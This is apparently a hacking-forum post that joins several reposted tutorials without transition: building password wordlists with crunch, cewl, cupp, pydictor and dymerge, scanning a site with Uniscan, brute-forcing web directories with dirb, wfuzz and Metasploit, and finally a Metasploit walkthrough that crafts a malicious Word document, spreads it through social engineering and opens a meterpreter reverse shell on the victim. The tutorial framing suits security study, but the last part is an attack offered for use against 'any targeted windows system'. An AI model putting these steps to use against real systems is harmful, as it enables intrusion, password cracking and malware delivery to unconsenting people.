Login

**NINZA** · 05-02-2020, 11:48 AM

0			0

We live in the digital era, and in the world of technology, everything is password protected. There are many ways to crack the password such as social engineering, try and error method, etc. but the three only two most successful methods of password cracking i.e. Dictionary attack and Brute force. Both of them has there perks and disadvantages. And in today’s article, we will focus on dictionary attack as it comes handy and is the best method to crack a password.
Table of Content

Dictionary attack
Crunch
Cewl
Cupp
Pydictor
Dymerge

Dictionary attack: Dictionary attack is an attempted entry in a digital system which uses a precompiled list of possible passwords rather entering them one at a time. Basically, it an evolved and advanced form of trial and error as it brings result fast and is efficient. I am sure that there are many ways for a dictionary attack but I am going to give you five best ones.
Crunch
The first is Crunch. The best thing about crunch is you can use it both offline and online. It generates wordlist according to your requirements. You can give the maximum and minimum length of the password and also provide it with a character-set which you want it to use while creating your dictionary. And then crunch will create your dictionary while keeping your requirements at its priority. Hence, a dictionary will be created with all the possible combinations.
Now let’s see how to use it. Observe its syntax first:
crunch <min> <max> <character-set> -t <pattern> -o <path>
crunch – crunch is the keyword which notifies the system to use this tool.
<min> – here you specify the minimum length characters you want.
<max> – here you specify the maximum length of characters.
<character-set> – here you specify the characters you want it to use while creating the dictionary.
-t <pattern>- this is optional but here you can specify the pattern in with you want your character-set to be.
-o <path> – here you give the path where you want your dictionary file to be saved.
For instance, open the terminal of kali and type:
crunch 3 4 ignite –o /root/Desktop/dict.txt
1
crunch 3 4 ignite –o /root/Desktop/dict.txt
Now the above command will create a dictionary with the possible combinations from the word ignite which will length from 3 to 4 characters. The file will be saved in text form on the Desktop. Similar is shown in the image below:
[Image: 1.png?w=687&ssl=1]

Let’s now read the dict.txt file and for that type:
cat dict.txt
1
cat dict.txt
All the words will be displayed in the following manner:
For more detail read the full article from here:

[To see content please register here]

Cewl
Next way is by using Cewl. Now Cewl works somewhat like John The Ripper and is written in ruby. When targeting people of the corporate sector or the business world; this is the tool for you. As you all know it is in the human psyche to use the words significant to them and which occur in their day to day life. Cewl works on the URL you provide it. It will take that URL and crawl its way to the depth of 2 links (by default, you can increase or decrease the depth too) and will search every word which has the possibility of being a password. With all these words it will generate a word list for you to use as your dictionary in a dictionary attack. Let’s observe it syntax:

cewl <url> -d<depth> -w<path>
Cewl – indicated the tool which is being used
<url> – here give the URL that you want to use as a foundation of your dictionary.
-d<depth> – here, give the number of links you want it to go through while creating your dictionary.
-w<path> – here, give the path where you want to store all the possible passwords.
For example in the terminal of kali type :

cewl

[To see content please register here]

-d 2 -w /root/Desktop/dict.txt
1
cewl

[To see content please register here]

-d 2 -w /root/Desktop/dict.txt
The above command will create a dictionary file using the word from the URL.

Let’s look the dictionary file it just created and for that type:
cat dict.txt
All the words will be displayed in the following manner:
For more detail read the full article from here:

[To see content please register here]

Cupp
Our next way is using a third party tool i.e. cup. Previous tools were pre-installed but you will have to install this one on your own. To install it please type:
git clone

[To see content please register here]

1
git clone

[To see content please register here]

CUPP is developed in python and makes very personalized tool when it comes to password cracking. Studies show that while setting up the password, humans show a similar pattern such as they tend to make password personalize by adding their date of birth, anniversary date, pet’s name, etc. and CUPP focuses on this weakness and helps to crack password effectively. Before creating a wordlist, it will ask you the required information about your target. And will create the wordlist as per the information. Now, let’s study how it works set-by-step. Initiate cupp first by typing:
./cupp.py -i
1
./cupp.py -i
Once initiated it will ask you the information about your target as shown in the image:
[Image: 6.png?w=687&ssl=1]

Give the required information and your wordlist will be generated as follows:
For more detail read the full article from here:

[To see content please register here]

Pydictor
Next up tool is Pydictor. This is a special tool as it is the only tool that creates the wordlist both in normal words and in base64 encryption. So if someone is smart enough to keep a safe password this tool will help you with it. Pydictor is written in python. There is two method to crack the password using this tool one creates a normal wordlist the other creates wordlist in base64 form. We will try both methods. But first things first, this is a third party tool so we will have to install it and for it please type :
git clone

[To see content please register here]

1
git clone

[To see content please register here]

Once the tool is installed and ready to use, give it instructions on bases of what you want it to generate the wordlist using. Understand the syntax first:
./pydictor.py –len <min> <max> -base d –o <path>
1
./pydictor.py –len <min> <max> -base d –o <path>

./pydictor.py – initiates the tool
–len – indicates the length of characters
<min> – here, give the minimum length of characters
<max> – here, give a maximum length of characters
-o – indicates the path
<path> – here, give the path where you want your wordlist to be saved

Let’s give the command to generate the wordlist now:
./pydictor.py --len 5 5 --base d –o /root/Desktop/dict.txt
1
./pydictor.py --len 5 5 --base d –o /root/Desktop/dict.txt
[Image: 9.png?w=687&ssl=1]

Let’s read the file created to have a look at the words that it has generated. And for that type:
cat dict.txt/BASE_5_5_d_071743.txt
1
cat dict.txt/BASE_5_5_d_071743.txt
[Image: 10.png?w=687&ssl=1]

The other method using a similar tool gives us a password in base64 encoding. Let’s study the syntax first:
./pydictor.py –len <min> <max> -base d --encode <encoding type> –o <path>
1
./pydictor.py –len <min> <max> -base d --encode <encoding type> –o <path>

./pydictor.py – initiates the tool
–len – indicates the length of characters
<min> – here, give the minimum length of characters
<max> – here, give a maximum length of characters
–encode – indicated the type of encryption/encoding
<encoding type> – here, give the type of encoding you want
-o – indicates the path
<path> – here, give the path where you want your wordlist to be saved

Let’s give the command to generate wordlist:
./pydictor.py --len 5 5 -base d --encode b64 –o /root/Desktop/dict.txt
1
./pydictor.py --len 5 5 -base d --encode b64 –o /root/Desktop/dict.txt
[Image: 11.png?w=687&ssl=1]

The above command will generate wordlist in base64 let’s have a look at it:
cat dict.txt/BASE_5_5_d_070433.txt
1
cat dict.txt/BASE_5_5_d_070433.txt
For more detail read the full article from here:

[To see content please register here]

Dymerge
The last and next up tool is Dymerge. Dymerge is an interesting and powerful tool made in python. Basically what dymerge does is takes the previously made multiple dictionaries and merges them into a single one, so all the dictionaries can you use in one go while you sit back and relax. You can merge any number of dictionaries either default ones or custom made. This is again a third party tool so let’s install it first:
git clone

[To see content please register here]

1
git clone

[To see content please register here]

Let’s understand its syntax:
python dymerge.py <path> <path> -s –o <path>

Python dymerge.py à initiates the tool
<path> – here, give the path of the first dictionary you want to merge
<path> – here, give the path of the second dictionary you want to merge
-o – indicates the path where the resulted wordlist will be saved
<path> – here, give the path where the final wordlist list will be saved

Now that we have understood the syntax let’s try the command:
python dymerge.py /root/Desktop/digit.txt /root/Desktop/words.txt –s –o /root/Desktop/dict.txt
1
python dymerge.py /root/Desktop/digit.txt /root/Desktop/words.txt –s –o /root/Desktop/dict.txt
Here, I have taken two wordlists (you can take more also), where one contains numbers and other contains alphabets and merges them into one so you can use multiple dictionaries at the same time.
[Image: 14.png?w=687&ssl=1]

Let’s have a look at the dictionary that it has created:
cat dict-1.txt
1
cat dict-1.txt
For more detail read the full article from here:

[To see content please register here]

These are the five powerful and efficient ways to password cracking. Enjoy and explore these fo0r both hacking and recovering passwords. Have fun!

Through this article, we are trying to elaborate the word Enumeration using Kali Linux tool UNISCAN.
Uniscan is a simple Remote File Include, Local File Include, and Remote Command Execution vulnerability scanner as well as work as enumerating tool in order to gather information like open ports and protocol related to target and investigate it against any vulnerability.
Let’s start!!!
Open the terminal and type following command using –j option for server fingerprints
uniscan -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -j
1
uniscan -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -j
[Image: 1.png?w=687&ssl=1]

It will start enumeration from PING by sending ICMP packets to the targeted server and establish the connection.
Further, it will use TRACEROUTE to show the path of a packet of information taken from source to destination and list all the routers it travels through or fails to and is discarded. In actually, it will inform you how long each ‘hop’ from the router to router takes.
[Image: 2.png?w=687&ssl=1]

NSLOOKUP is a program to query Internet domain name servers (DNS). NSLOOKUP or Reverse DNS (rDNS) is a method of resolving an IP address into a domain name
[Image: 3.png?w=687&ssl=1]

Uniscan made use of NMAP for aggressive scan against the targeted server to identify open ports and protocols services hence from the screenshot you can observe the result. It also enumerates the target using NMAP NSE script to identify the vulnerability and details of running services.
[Image: 4.png?w=687&ssl=1]

Now type the following command for dynamic scan against the targeted server using –d option.
uniscan -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -d
1
uniscan -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -d
Now it will load the selected plug-in for fetching more details related to the targeted server.
[Image: 5.png?w=687&ssl=1]

From given screenshot, you can observe the result where it came up with an email id moreover loaded further plug-in for scanning vulnerability like SQL injection, remote or local file inclusion and XSS.
[Image: 6.png?w=687&ssl=1]

From given below screenshot you can see it has used blind SQL injection and return a link of the targeted web pages. Similarly, it will test for XSS and remote or local file inclusion vulnerability.
[Image: 7.png?w=687&ssl=1]

Now type next command using –q option to enable directory test in targeted server
uniscan –u

[To see content please register here]

–q
1
uniscan –u

[To see content please register here]

–q
Form scanning result you can read the fetched directories.
[Image: 8.png?w=687&ssl=1]

Last but not least use –g option for web fingerprints with the following command
uniscan –u

[To see content please register here]

–g
1
uniscan –u

[To see content please register here]

–g
Here we have come across available http option GET, HEAD, POST, OPTION, and TRACE which might help in verb tampering.
[Image: 9.png?w=687&ssl=1]

It will try to find out web service and error information and type of error as shown in the given image.
[Image: 10.png?w=687&ssl=1]

Here this tool inserts a string in html in order to grab banner moreover we have come across the credential of the web server and from the given screenshot you can read login msfadmin: msfadmin
[Image: 11.png?w=687&ssl=1]

In this article, we have a focus towards directory brute force attack using Kali Linux tool and try to find hidden files and directories inside a web server for penetration testing.
Table of Content

What is Path Traversal or Directory Traversal?
DIRB
Dirbuster
Wfuzz
Metasploit
Dirserach

What is Path Traversal or Directory Traversal?
A path traversal attack is also known as directory traversal aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (…/)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files. For more information visit owasp.org
Let’s Start!!!
DIRB
DIRB is a Web Content Scanner. It looks for existing (and/or hidden) Web Objects. It basically works by launching a dictionary-based attack against a web server and analyzing the response. DIRB main purpose is to help in professional web application auditing.
The tool “Dirb” is in-built in Kali Linux, therefore, Open the terminal and type following command to start brute force directory attack.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Hence you can see read the fetched directories and file in the given screenshot.
To know more, read the full article from here:

[To see content please register here]

DirBuster
DirBuster is a multi threaded java application designed to brute force directories and files names on web/application servers. DirBuster comes with a total of 9 different lists; this makes DirBuster extremely effective at finding those hidden files and directories.
Similarly, open the terminal and type Dirbuster, then enter the target URL as shown in below image and browse /usr/share/dirbuster/wordlis/ directory-list-2-3-medium.txt for brute force attack.
Select option dir to start with /dvwa, once you have configured the tool for attack click on start.
[Image: 2.png?w=687&ssl=1]

This will start the brute force attack and dumps all file and directory present inside web server as shown in the given screenshot.
To know more, read the full article from here:

[To see content please register here]

Wfuzz
Wfuzz is a tool designed for bruteforcing Web Applications, it can be used for finding resources not linked (directories, servlets, scripts, etc), bruteforce GET and POST parameters for checking different kind of injections (SQL, XSS, LDAP, etc), bruteforce Forms parameters (User/Password), Fuzzing, etc.
wfuzz -c -W /usr/share/wfuzz/wordlist/dir/common.txt --hc 400,404,403

[To see content please register here]

1
wfuzz -c -W /usr/share/wfuzz/wordlist/dir/common.txt --hc 400,404,403

[To see content please register here]

Here option –c is used for output with color; -W for wordlist; –hc for hiding responses with the specified code/lines/words/chars. It is also in-built in your Kali Linux.
[Image: 4.png?w=687&ssl=1]

Metasploit
HTTP Directory Scanner
This module identifies the existence of interesting directories in a given directory path.
use auxiliary/scanner/http/dir_scanner
msf auxiliary(dir_scanner) >set dictionary /usr/share/wordlists/dirb/common.txt
msf auxiliary(dir_scanner) >set rhosts 192.168.1.5
msf auxiliary(dir_scanner) > set path /dvwa
msf auxiliary(dir_scanner) >exploit
1
2
3
4
5
use auxiliary/scanner/http/dir_scanner
msf auxiliary(dir_scanner) >set dictionary /usr/share/wordlists/dirb/common.txt
msf auxiliary(dir_scanner) >set rhosts 192.168.1.5
msf auxiliary(dir_scanner) > set path /dvwa
msf auxiliary(dir_scanner) >exploit
[Image: 5.png?w=687&ssl=1]

Dirsearch
Dirsearch is a simple command line tool designed to brute force directories and files in websites. This tool is available at GitHub you can download it from

[To see content please register here]

and after installation in your Kali Linux type following to start dirsearch.
./dirsearch.py –u

[To see content please register here]

-e php -f -x 400,403,404
1
./dirsearch.py –u

[To see content please register here]

-e php -f -x 400,403,404
Here option –e is use for generating one entry for php extension; -x hide responses with the specified code/lines/words/chars.
From the given screenshot, you can read php file of the targeted web server.
[Image: 6.png?w=687&ssl=1]

For Kali Linux users we had performed this attack through Metasploit without using any python script which generates .rtf file for the attack, thus the user only needs to update their Kali Linux and load Metasploit framework to start this attack. This is a zero-day exploit that has excellent rating against Ms-office vulnerability which can be very easily used to shoot any targeted windows system.
Attacker: Kali Linux
Target: MS Office
Let’s breach!!
msfconsole
1
msfconsole
[Image: 1.png?w=687&ssl=1]

This module creates a malicious RTF file that when opened in vulnerable versions of Microsoft Word will lead to code execution. The flaw exists in how an OLE link object can make an http(s) request, and execute hta code in response. This bug was originally seen being exploited in the wild starting in Oct 2016. This module was created by reversing a public malware sample.
Use exploit/windows/fileformat/office_word_hta
Msf > exploit (office_word_hta) >set srvhost 192.168.1.8
Msf > exploit (office_word_hta) >set payload windows/meterpreter/revrese_tcp
Msf > exploit (office_word_hta) >set filename sale.doc
Msf > exploit (office_word_hta) >set lhost 192.168.1.8
Msf > exploit (office_word_hta) >exploit
1
2
3
4
5
6
Use exploit/windows/fileformat/office_word_hta
Msf > exploit (office_word_hta) >set srvhost 192.168.1.8
Msf > exploit (office_word_hta) >set payload windows/meterpreter/revrese_tcp
Msf > exploit (office_word_hta) >set filename sale.doc
Msf > exploit (office_word_hta) >set lhost 192.168.1.8
Msf > exploit (office_word_hta) >exploit
This module will automatically generate a malicious .rtf file inside /root/.msf4/local/sales.doc moreover it will generate a link and that link must be share to target using social engineering method.
[Image: 2.png?w=687&ssl=1]

When the user will open that link and make double-click (OLE event) on .hta file, the attacker will receive meterpreter session in the Metasploit framework.
meterpreter > sysinfo
1
meterpreter > sysinfo
[Image: 3.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis